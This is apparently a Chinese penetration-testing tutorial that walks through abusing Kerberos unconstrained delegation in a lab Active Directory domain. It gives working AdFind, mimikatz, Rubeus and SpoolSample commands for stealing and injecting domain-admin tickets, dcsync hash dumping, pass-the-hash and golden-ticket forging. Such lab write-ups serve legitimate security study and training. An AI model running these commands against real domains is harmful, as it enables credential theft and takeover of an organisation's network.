前言:
域委派是指将域内用户的权限委派给服务账户,使得服务账户能以用户的权限在域内开展活动。委派主要分为非约束委派和约束委派两种方式,还有一种是基于资源的约束委派。本篇文章,小星将和大家分享非约束委派的利用过程。
01非约束委派流程
非约束委派的请求过程如图,当service1的服务账号开启了非约束委派后,user访问service1时,service1会将user的TGT保存到内存中,然后service1就可以利用TGT以user的身份访问去访问域中的任何user可以访问的服务。
![](http://dingyue.ws.126.net/2023/0413/4b8513b0j00rt1s9c004jd000tc00n6p.jpg)
详细的流程可以查看微软手册。
链接如下:[MS-SFU]: Protocol Overview | Microsoft Learn
02非约束委派攻击流程
域环境
当前域:test.com
域控:dc-2016(IP:10.10.90.10) test\administrator
域内主机(配置了非约束委派):
web-2016(IP:10.10.90.20)test\mssql
1. 配置和查找非约束委派主机:在Windows系统中,只有服务账号和主机账号的属性才有委派功能,普通⽤户默认是不含此功能。现在我们将web-2016这个主机⽤户设置为非约束委派。
![](http://dingyue.ws.126.net/2023/0413/13ad9758j00rt1sbg0050d000v900dpp.jpg)
2. 查找域内非约束委派用户和计算机:
#查找域中配置非约束委派的用户,过滤出cn和distinguishedName属性。
AdFind.exe -b "DC=test,DC=com" -f "(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=524288))" cn distinguishedName
#查找域中配置非约束委派的主机,过滤出cn和distinguishedName属性。
AdFind.exe -b "DC=test,DC=com" -f "(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))" cn distinguishedName
![](http://dingyue.ws.126.net/2023/0413/d39592cbj00rt1scw0049d000v900aep.jpg)
3. 查询主机web-2016,发现被设置了非约束委派。使⽤dc或者域管去登录 web-2016,可在 web-2016上留存票据凭证,随后让域控模拟访问被设置了⾮约束委派的机器。
Enter-PSSession -ComputerName web-2016
![](http://dingyue.ws.126.net/2023/0413/9ee86af3j00rt1se90061d000v900f5p.jpg)
4. 域控模拟访问被设置了约束委派的机器后,此时域管理员的 TGT 已经缓存在 web-2016机器上了,域管的凭证也已缓存于⽬标机器。使⽤域内机器登录本地管理员,导出相关凭证、清除⼀下当前票据缓存。
mimikatz.exe "privilege::debug" "kerberos::purge" "exit"
![](http://dingyue.ws.126.net/2023/0413/17eaddd2j00rt1sep004md000v900aop.jpg)
5.使⽤mimikatz以dump所有票据。
mimikatz.exe "privilege::debug" "sekurlsa::tickets /export" "exit"
![](http://dingyue.ws.126.net/2023/0413/180e8451j00rt1sf4006xd000v900ffp.jpg)
6.此时[0;47cb77]-2-0-60a10000-Administrator@krbtgt-TEST.COM.kirbi就是域管理员administrator的TGT。
![](http://dingyue.ws.126.net/2023/0413/90f9b022j00rt1sfj0083d000v900drp.jpg)
7.访问域控文件失败。
![](http://dingyue.ws.126.net/2023/0413/347b38fej00rt1sfy000td000r2006yp.jpg)
8. 使用mimikatz通过ptt将TGT注入到当前会话中。
kerberos::ptt [0;47cb77]-2-0-60a10000-Administrator@krbtgt-TEST.COM.kirbi
![](http://dingyue.ws.126.net/2023/0413/e9d6289fj00rt1sgd0024d000v9007hp.jpg)
9.成功访问域控。
![](http://dingyue.ws.126.net/2023/0413/0aa0e408j00rt1sii006vd000v900gzp.jpg)
03非约束委派+Spooler打印机服务
一般情况下,高权限用户是不会主动访问我们的,所以说上述情况出现机率较少。在特定情况下,我们可以利用splooer服务让域控主动连接。
默认开启Splooer服务,域用户可以利用windows打印系统远程协议(MS-RPRN)来强制任何运行了Splooer服务的域内机器,通过kerberos或ntlm对任何目标进行身份验证,这就是该攻击方式的原理。
1.如下所示,Splooer服务默认是已开启,并以system权限运行。
![](http://dingyue.ws.126.net/2023/0413/396aa2cej00rt1sk2004cd000v9009lp.jpg)
![](http://dingyue.ws.126.net/2023/0413/b78c7986p00rt1sjm001qd000v90021p.png)
2.在web-2016上以本地管理员身份运行Rubeus,对域控机器账户的登录进行监听。
Rubeus.exe monitor /interval:1 /filteruser:dc-2016$
#我们可以用Rubeus来监听EvevtID为4624的时间,这样可以第一时间截取到TGT
# /interval:1 设置监听时间为1秒
# /filteruser 监听对象为域控,注意后面有$,如果不设置监听对象就监听所有的TGT
#dc-2016$为域控主机的名字加$
注意:Rubeus.exe需要以本地管理员身份运行,否则会报错。
![](http://dingyue.ws.126.net/2023/0413/21008761j00rt1sly002jd000v900bup.jpg)
![](http://dingyue.ws.126.net/2023/0413/d294555dj00rt1sly002ld000v900bmp.jpg)
3.利用SpoolSample工具强制让域控(dc-2026)向本机(web-2016)验证身份。
SpoolSample.exedc-2016 web-2016
这里要注意非约束委派机器是需要关闭防火墙,否则以域用户的身份执行SpoolSample.exe会返回下述错误,无法接收到tickets。
![](http://dingyue.ws.126.net/2023/0413/59042280p00rt1smn0007d000mw003ep.png)
4.关闭防火墙后再次运行。
![](http://dingyue.ws.126.net/2023/0413/218efd03p00rt1snj0007d000mw003ep.png)
5.切换到web-2016本地管理员,Rubeus已经捕获到了域控的TGT。该TGT是base64的,有两种方法可以导入到内存中。此处base64字符串导入票据需要进行处理,去除空格和换行符\n
![](http://dingyue.ws.126.net/2023/0413/ae16c60ej00rt1sqd00krd000v900lmp.jpg)
方法1:
1.使用powershell的base64转换功能。
[IO.File]::WriteAllBytes("dc-2016.kirbi",[Convert]::FromBase64String("捕获到的base64编码"))
![](http://dingyue.ws.126.net/2023/0413/65782f98j00rt1sqt00cpd000v900bjp.jpg)
2. 执行命令后,会在当前目录下生成dc-2016.kirbi票据,使用mimikatz导入票据即可。
kerberos::ptt dc-2016.kirbi
kerberos::list
![](http://dingyue.ws.126.net/2023/0413/3508e985j00rt1sr90075d000v900elp.jpg)
方法2:
1.使用Rubeus导入TGT。
Rubeus.exe ptt /ticket:base64
![](http://dingyue.ws.126.net/2023/0413/20989e01j00rt1srs00ddd000v900dqp.jpg)
2. 查看票据,此时票据已经成功写入到内存中,但是依然无法访问域控的文件。
![](http://dingyue.ws.126.net/2023/0413/82fab7cfj00rt1ssc0066d000v900dcp.jpg)
3.此处生成的 TGT,相当于域控真正赋予了我们administrator本地管理员权限,所以此处我们可以使用命令来导出域内账号hash。
4. 以本地管理员权限运行mimikatz进行dcsync,成功获取域内账号ntlm哈希值。
mimikatz.exe "lsadump::dcsync /domain:test.com /all /csv" exit
![](http://dingyue.ws.126.net/2023/0413/12cb0751j00rt1ssu008pd000v900erp.jpg)
5.如果当前用户拥有管理员权限,我们可以使用PTH攻击。
mimikatz.exe"privilege::debug""sekurlsa::pth/user:administrator/domain:test.com/ntlm:0ebc63860c8167877a03a68df53b3bf1"
#成功后会弹出一个cmd窗口,此时和域控制器建立ipc无需密码
![](http://dingyue.ws.126.net/2023/0413/f9d0aaadj00rt1stb008od000v900g7p.jpg)
6. 如果是普通的域用户,可使用黄金票据,
mimikat.exe "kerberos::golden /user:administrator /domain:test.com /sid:S-1-5-21-1348005725-2953300805-2723764712 /krbtgt:61e6be9a1ae07871c40cbd8e18181128 /ptt"
![](http://dingyue.ws.126.net/2023/0413/d31f8334j00rt1svp0070d000v900dqp.jpg)
![](http://dingyue.ws.126.net/2023/0413/7a6d02c8j00rt1sw1007gd000v900ixp.jpg)
热门跟贴